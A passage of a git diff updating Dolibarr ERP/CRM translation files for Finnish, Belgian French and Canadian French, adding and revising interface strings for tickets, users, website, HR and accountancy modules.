THMEstimatedHelp=This rate makes it possible to define a forecast cost of the it BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/fi_FI/other.lang b/htdocs/langs/fi_FI/other.lang index 466387849f8..147c69042f9 100644 --- a/htdocs/langs/fi_FI/other.lang +++ b/htdocs/langs/fi_FI/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Asiakas ehdotus validoidaan Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Kaupallinen ehdotus lähetetään postitse Notify_WITHDRAW_TRANSMIT=Vaihteisto peruuttaminen Notify_WITHDRAW_CREDIT=Luotto peruuttaminen @@ -181,6 +183,7 @@ SizeUnitfoot=jalka SizeUnitpoint=point BugTracker=Bug tracker SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Takaisin kirjautumissivulle AuthenticationDoesNotAllowSendNewPassword=Authentication mode on %s.
      Tässä tilassa Dolibarr ei voi tietää, eikä vaihtaa salasanasi.
      Ota yhteyttä järjestelmän ylläpitäjään, jos haluat vaihtaa salasanasi. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Lasku %s on maksettu EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Sulje Autofill = Autofill + +# externalsite +ExternalSiteSetup=Setup linkki ulkoiseen sivustoon +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Ulkoisen sivuston Moduuli ei ole oikein konfiguroitu. +ExampleMyMenuEntry=Omassa valikossa + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Ole poistanut tiedoston %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Passiivisena +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Tiedostojen %s lataus epäonnistui +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/fi_FI/recruitment.lang b/htdocs/langs/fi_FI/recruitment.lang index 048bd27da9b..4b2d3a5aa43 100644 --- a/htdocs/langs/fi_FI/recruitment.lang +++ b/htdocs/langs/fi_FI/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Palkka +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/fi_FI/salaries.lang b/htdocs/langs/fi_FI/salaries.lang index 9d88d32258c..39c3583e78e 100644 --- a/htdocs/langs/fi_FI/salaries.lang +++ b/htdocs/langs/fi_FI/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Käytetty kirjanpitotili käyttäjän sidosryhmille -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Oletus kirjanpitotili palkkamaksuille CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary Salary=Palkka @@ -24,3 +24,4 @@ SalariesStatistics=Salary statistics SalariesAndPayments=Salaries and payments ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/fi_FI/ticket.lang b/htdocs/langs/fi_FI/ticket.lang index f9e1f7f8e6a..8d8c3b74108 100644 --- a/htdocs/langs/fi_FI/ticket.lang +++ b/htdocs/langs/fi_FI/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modify tickets Permission56003=Poista tiketit Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Permission56006=Export tickets +Tickets=Tiketit TicketDictType=Ticket - Types TicketDictCategory=Ticket - Groupes TicketDictSeverity=Ticket - Severities @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=External contributor OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Send ticket message by email +ExportDataset_ticket_1=Tiketit + # Status Read=Luettu Assigned=Assigned @@ -90,8 +94,8 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Text message sent after creating a ticket @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=The text specified here will be inserted into the email c TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=Julkisessa käyttöliittymässä sähköpostiosoitteen täytyy olla jo tietokannassa uuden lipun luomiseksi. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Julkinen käyttöliittymä TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -190,8 +198,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Vaihda vakavuus -TicketAddMessage=Lisää viesti -AddMessage=Lisää viesti +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Viesti on onnistuneesti lisätty TicketMessagesList=Message list @@ -202,8 +209,8 @@ TicketSeverity=Vakavuus ShowTicket=See ticket RelatedTickets=Liittyvät tiketit TicketAddIntervention=Create intervention -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=Uusi viesti ErrorMailRecipientIsEmptyForSendTicketMessage=Recipient is empty. No email send TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Esittely +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=This text is added only at the beginning of the email and will not be saved. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Allekirjoitus -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Signature of response email -TicketMessageMailSignatureHelpAdmin=Tämä teksti lisätään vastaus viestin jälkeen. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Tämä teksti lisätään vastaus viestin jälkeen. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assigned TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Aloitusviesti @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=This form allows you to record a support ticket in our management system. -TicketPublicPleaseBeAccuratelyDescribe=Kuvaile tarkasti ongelmasi. Kertomalla mahdollisimman paljon informaatiota autat meitä tunnistamaan pyyntösi oikean ongelman. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Please enter ticket tracking ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID diff --git a/htdocs/langs/fi_FI/users.lang b/htdocs/langs/fi_FI/users.lang index 651bebb4228..5b042db67d6 100644 --- a/htdocs/langs/fi_FI/users.lang +++ b/htdocs/langs/fi_FI/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Poista ryhmästä PasswordChangedAndSentTo=Salasana muutettu ja lähetetään %s. PasswordChangeRequest=Request to change password for %s PasswordChangeRequestSent=Pyynnön vaihtaa salasana %s lähetetään %s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Confirm password reset MenuUsersAndGroups=Käyttäjät & ryhmät @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Luo Dolibarr huomioon CreateDolibarrThirdParty=Luo kolmasosaa osapuoli -LoginAccountDisableInDolibarr=Huomioon vammaisten Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Käytä henkilökohtaista arvo -InternalUser=Sisäinen käyttäjä ExportDataset_user_1=Users and their properties DomainUser=Domain käyttäjän %s Reactivate=Uudelleenaktivoi @@ -114,7 +114,7 @@ UserLogoff=User logout UserLogged=User logged DateOfEmployment=Employment date DateEmployment=Employment -DateEmploymentstart=Employment Start Date +DateEmploymentStart=Employment Start Date DateEmploymentEnd=Employment End Date RangeOfLoginValidity=Access validity date range CantDisableYourself=You can't disable your own user record @@ -124,3 +124,12 @@ ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of th UserPersonalEmail=Personal email UserPersonalMobile=Personal mobile phone WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DateLastLogin=Date last login +DatePreviousLogin=Date previous login +IPLastLogin=IP last login +IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/fi_FI/website.lang b/htdocs/langs/fi_FI/website.lang index 79681c98cce..ef9993fbb79 100644 --- a/htdocs/langs/fi_FI/website.lang +++ b/htdocs/langs/fi_FI/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Koodi +WebsiteName=Name of the website WebsiteSetupDesc=Create here the websites you wish to use. Then go into menu Websites to edit them. DeleteWebsite=Poista sivusto ConfirmDeleteWebsite=Are you sure you want to delete this web site? All its pages and content will also be removed. The files uploaded (like into the medias directory, the ECM module, ...) will remain. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Addition at bottom of HTML Header (common to all pages) WEBSITE_ROBOT=Robot file (robots.txt) WEBSITE_HTACCESS=Website .htaccess file WEBSITE_MANIFEST_JSON=Website manifest.json file -WEBSITE_README=README.md-tiedosto WEBSITE_KEYWORDSDesc=Use a comma to separate values -EnterHereLicenseInformation=Enter here meta data or license information to fille a README.md file. if you distribute your website as a template, the file will be included into the temptate package. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML header (specific to this page only) PageNameAliasHelp=Name or alias of the page.
      This alias is also used to forge a SEO URL when website is ran from a Virtual host of a Web server (like Apacke, Nginx, ...). Use the button "%s" to edit this alias. EditTheWebSiteForACommonHeader=Note: If you want to define a personalized header for all pages, edit the header on the site level instead of on the page/container. @@ -42,10 +43,12 @@ ViewPageInNewTab=View page in new tab SetAsHomePage=Aseta kotisivuksi RealURL=Lue URL ViewWebsiteInProduction=View web site using home URLs +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s ExampleToUseInApacheVirtualHostConfig=Example to use in Apache virtual host setup: YouCanAlsoTestWithPHPS=Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s ReadPerm=Luettu WritePerm=Write @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=You can edit HTML source code using the "Source" bu YouCanEditHtmlSource=
      You can include PHP code into this source using tags <?php ?>. The following global variables are available: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      You can also include content of another Page/Container with the following syntax:
      <?php includeContainer('alias_of_container_to_include'); ?>

      You can make a redirect to another Page/Container with the following syntax (Note: do not output any content before a redirect):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      To add a link to another page, use the syntax:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      To include a link to download a file stored into the documents directory, use the document.php wrapper:
      Example, for a file into documents/ecm (need to be logged), syntax is:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      For a file into documents/medias (open directory for public access), syntax is:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For a file shared with a share link (open access using the sharing hash key of file), syntax is:
      <a href="/document.php?hashp=publicsharekeyoffile">

      To include an image stored into the documents directory, use the viewimage.php wrapper:
      Example, for an image into documents/medias (open directory for public access), syntax is:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=For an image shared with a share link (open access using the sharing hash key of file), syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Clone page/container CloneSite=Kloonaa sivusto SiteAdded=Website added @@ -137,7 +140,7 @@ PagesRegenerated=%s page(s)/container(s) regenerated RegenerateWebsiteContent=Regenerate web site cache files AllowedInFrames=Allowed in Frames DefineListOfAltLanguagesInWebsiteProperties=Define list of all available languages into web site properties. -GenerateSitemaps=Generate website sitemap file +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=If you confirm, you will erase the existing sitemap file... ConfirmSitemapsCreation=Confirm sitemap generation SitemapGenerated=Sitemap file %s generated @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon must be png ErrorFaviconSize=Favicon must be sized 16x16, 32x32 or 64x64 FaviconTooltip=Upload an image which needs to be a png (16x16, 32x32 or 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/fr_BE/admin.lang b/htdocs/langs/fr_BE/admin.lang index 81e53590442..8203f3de772 100644 --- a/htdocs/langs/fr_BE/admin.lang +++ b/htdocs/langs/fr_BE/admin.lang @@ -18,7 +18,6 @@ Module20Name=Propales Module30Name=Factures Target=Objectif OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      Recommended=Recommandée IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/fr_BE/hrm.lang b/htdocs/langs/fr_BE/hrm.lang new file mode 100644 index 00000000000..c71599d9ff1 --- /dev/null +++ b/htdocs/langs/fr_BE/hrm.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - hrm +RequiredRank=Required rank for this job +OrJobToCompare=Compare to job skills requirements diff --git a/htdocs/langs/fr_BE/install.lang b/htdocs/langs/fr_BE/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/fr_BE/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/fr_BE/propal.lang b/htdocs/langs/fr_BE/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/fr_BE/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/fr_BE/stripe.lang b/htdocs/langs/fr_BE/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/fr_BE/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/fr_CA/accountancy.lang b/htdocs/langs/fr_CA/accountancy.lang index 570826a2d43..5d526c789eb 100644 --- a/htdocs/langs/fr_CA/accountancy.lang +++ b/htdocs/langs/fr_CA/accountancy.lang @@ -10,8 +10,6 @@ Selectformat=Sélectionner le format de date pour le fichier ACCOUNTING_EXPORT_FORMAT=Sélectionner le format de date pour le fichier ACCOUNTING_EXPORT_ENDLINE=Sélectionner le type de retour de chariot ACCOUNTING_EXPORT_PREFIX_SPEC=Spécifiez le préfixe du nom de fichier -DefaultForService=Par défaut pour le service -DefaultForProduct=Défaut pour le produit ProductForThisThirdparty=Produit pour ce tier ServiceForThisThirdparty=Service pour ce tier CantSuggest=Ne peut pas suggérer @@ -39,20 +37,15 @@ MainAccountForVatPaymentNotDefined=Compte comptable principal pour le paiement d MainAccountForSubscriptionPaymentNotDefined=Compte comptable principal pour le paiement de l'abonnement non défini dans la configuration AccountancyArea=Espace comptable AccountancyAreaDescActionOnce=Les actions suivantes sont généralement exécutées une seule fois, ou une fois par an ... -AccountancyAreaDescActionOnceBis=Les étapes suivantes devraient être faites pour vous faire gagner du temps en vous suggérant le bon compte comptable par défaut lors de la journalisation (écriture dans Journals et le grand livre) AccountancyAreaDescActionFreq=Les actions suivantes sont généralement exécutées chaque mois, semaine ou jour pour de très grandes entreprises ... -AccountancyAreaDescJournalSetup=ÉTAPE %s: Créez ou vérifiez le contenu de votre liste de journal à partir du menu %s AccountancyAreaDescVat=ÉTAPE %s: Définissez les comptes comptables pour chaque taux de TVA. Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescDefault=ÉTAPE %s: Définissez les comptes comptables par défaut. Pour cela, utilisez l'entrée de menu %s. -AccountancyAreaDescExpenseReport=ÉTAPE %s: Définissez les comptes comptables par défaut pour chaque type de rapport de dépenses. Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescSal=ÉTAPE %s: Définissez les comptes comptables par défaut pour le paiement des salaires. Pour cela, utilisez l'entrée de menu %s. -AccountancyAreaDescContrib=ÉTAPE %s: Définissez les comptes comptables par défaut pour les dépenses spéciales (taxes diverses). Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescDonation=ÉTAPE %s: Définissez les comptes comptables par défaut pour le don. Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescSubscription=ÉTAPE %s: Définissez les comptes comptables par défaut pour l'abonnement des membres. Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescMisc=ÉTAPE %s: Définissez le compte par défaut obligatoire et les comptes comptables par défaut pour les transactions diverses. Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescLoan=ÉTAPE %s: Définissez les comptes comptables par défaut pour les prêts. Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescBank=ÉTAPE %s: Définissez les comptes comptables et le code du journal pour chaque compte bancaire et financier. Pour cela, utilisez l'entrée de menu %s. -AccountancyAreaDescProd=ÉTAPE %s: Définissez les comptes comptables sur vos produits / services. Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescBind=ÉTAPE %s: Vérifiez la liaison entre les lignes %s existantes et le compte comptable est effectué, de sorte que l'application pourra publier des transactions dans Ledger en un seul clic. Compléter les liaisons manquantes. Pour cela, utilisez l'entrée de menu %s. AccountancyAreaDescWriteRecords=ÉTAPE %s: Écrivez des transactions dans le Ledger. Pour cela, accédez au menu %s, et cliquez sur le bouton %s. AccountancyAreaDescAnalyze=ÉTAPE %s: Ajoutez ou modifiez des transactions existantes et générez des rapports et des exportations. @@ -60,14 +53,12 @@ AccountancyAreaDescClosePeriod=ÉTAPE%s: Période de fermeture afin que nous ne Selectchartofaccounts=Sélectionnez le plan des comptes actif SubledgerAccountLabel=Étiquette de compte auxiliaire ShowAccountingJournal=Afficher le journal comptable -AccountAccountingSuggest=Compte comptable suggéré MenuTaxAccounts=Comptes d'impôts MenuExpenseReportAccounts=Comptes de comptes de dépenses MenuLoanAccounts=Comptes de prêts MenuProductsAccounts=Comptes de produits MenuAccountancyClosure=Fermeture MenuAccountancyValidationMovements=Valider les écritures -RegistrationInAccounting=Inscription en comptabilité Binding=Liaison aux comptes CustomersVentilation=Contrat de facture client SuppliersVentilation=Reliure de facture fournisseur @@ -96,9 +87,8 @@ ACCOUNTING_LENGTH_DESCRIPTION_ACCOUNT=Tronquer le formulaire de description de c ACCOUNTING_LENGTH_GACCOUNT=Longueur des comptes comptables généraux (Si vous définissez la valeur à 6 ici, le compte '706' apparaîtra comme '706000' à l'écran) BANK_DISABLE_DIRECT_INPUT=Désactiver l'enregistrement direct de la transaction dans le compte bancaire ACCOUNTING_EXPENSEREPORT_JOURNAL=Note de frais -DONATION_ACCOUNTINGACCOUNT=Compte comptable pour enregistrer des dons -ACCOUNTING_SERVICE_BUY_ACCOUNT=Compte comptable par défaut pour les services achetés (utilisé si non défini dans la fiche de service) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Compte comptable par défaut pour les services vendus (utilisé si non défini dans la fiche de service) +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts NotMatch=Pas encore défini FinanceJournal=Journal des finances ExpenseReportsJournal=Journal des rapports de dépenses @@ -111,20 +101,16 @@ BankAccountNotDefined=Compte pour banque non défini NumMvts=Nombre de transactions AddCompteFromBK=Ajouter des comptes comptables au groupe TotalVente=Chiffre d'affaires total avant taxes -DescVentilCustomer=Consultez ici la liste des lignes de facture client liées (ou non) à un compte comptable produit -DescVentilDoneCustomer=Consultez ici la liste des lignes clients des factures et leur compte comptable produit -DescVentilTodoCustomer=Lier les lignes de facture qui ne sont pas déjà liées avec un compte de comptabilité de produit -ChangeAccount=Modifiez le compte comptable produit / service pour les lignes sélectionnées avec le compte comptable suivant: DescVentilTodoExpenseReport=Les lignes de rapport de frais de liaison ne sont pas déjà liées à un compte comptable DescVentilExpenseReport=Consultez ici la liste des lignes de rapport de dépenses liées (ou non) à un compte comptable de frais DescVentilDoneExpenseReport=Consultez ici la liste des rapports des lignes de dépenses et de leurs comptes comptables -ValidateMovements=Valider les écritures 